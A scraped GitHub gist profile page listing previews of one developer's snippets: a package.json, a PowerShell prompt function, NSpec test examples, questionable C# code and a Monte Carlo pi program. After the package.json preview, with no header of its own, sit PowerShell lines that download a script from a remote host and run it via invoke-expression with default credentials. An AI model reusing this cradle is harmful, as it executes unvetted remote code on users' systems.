Skip to content

Instantly share code, notes, and snippets.

View Ang3lFir3's full-sized avatar
💭
Making kick ass shit with bad ass peeps

Eric Ridgeway Ang3lFir3

💭
Making kick ass shit with bad ass peeps
View GitHub Profile
@Ang3lFir3
Ang3lFir3 / package.json
Created August 7, 2012 01:25
scalac server sample
{
"name": "scalac",
"version": "0.0.1",
"description": "jsonified SCA calendar data",
"author": "Ang3lFir3",
"dependencies": {
"ical": "*"
},
"engines": {
$client = new-object System.Net.WebClient
$client.UseDefaultCredentials = $true
invoke-expression $client.DownloadString("http://byebye.heroku.com/byebye")
@Ang3lFir3
Ang3lFir3 / gist:1005916
Created June 3, 2011 05:32
a collapsing powershell prompt
function prompt {
$path = (Get-Location).Path
if ($path.Length -gt 45)
{
$path = Get-Prompt($path);
}
"$path>"
}
@Ang3lFir3
Ang3lFir3 / gist:983808
Created May 20, 2011 21:11
NSpec Example using specify syntax
class transforming_files : nspec
{
void with_a_file_transformer ()
{
var logger = Substitute.For<ILogger>();
var reader = Substitute.For<IFileReader>();
var writer = Substitute.For<IFileWriter>();
var subject = new FileTransformer(reader, writer){Logger = logger};
before = () => subject.Shazam();
@Ang3lFir3
Ang3lFir3 / gist:981023
Created May 19, 2011 15:27
NSpec NUnit Shim
[TestFixture]
public class DebuggerShim
{
[Test]
public void AllTests()
{
var finder = new ShimFinder(typeof(DebuggerShim).Assembly.GetTypes());
var builder = new ContextBuilder(finder, new DefaultConventions());
@Ang3lFir3
Ang3lFir3 / gist:954318
Created May 3, 2011 21:39
setters of awesome!
public string ReportParamOutputRMFFile
{
get
{
return this.m_sOutputRMF;
}
set
{
if ((value.Length == 0) | (value.Length > 12))
{
@Ang3lFir3
Ang3lFir3 / gist:947825
Created April 29, 2011 04:16
just one of the WTFs
try
{
EventReporter.AppendEvent("-- looking for items logged after " + ImexHistLogStartTime + ".", LogEventReporter.Criticality.Information);
if (ImexHistLoggedItemTimes.Count == 0)
{
EventReporter.AppendEvent("No events appear in the log on or after " + ImexHistLogStartTime + ".", LogEventReporter.Criticality.Warning);
throw new Exception("No Events appear in the log on or after " + ImexHistLogStartTime + ".");
}
}
catch (Exception exception3)
@Ang3lFir3
Ang3lFir3 / gist:920819
Created April 14, 2011 23:22
A new way to swallow exceptions
public IDictionary<int, SourcePrice> GetSourcePricingData(DateTime effectiveDate)
{
IDictionary<string, SourcePrice> exceptions = new Dictionary<string, SourcePrice>();
return GetSourcePricingData(effectiveDate, out exceptions);
}
@Ang3lFir3
Ang3lFir3 / gist:882362
Created March 22, 2011 23:59
Monte Carlo Pi
using System;
public class Foo
{
public static void Main()
{
int insideCounter = 0;
var iteration = 60000000;
var randomiser = new Random((int)DateTime.Now.Ticks);
for(var i = 0; i < iteration; i++)
[AttributeUsage(AttributeTargets.Parameter, AllowMultiple = false)]
public class HanselParameterAttribute : Attribute
{
}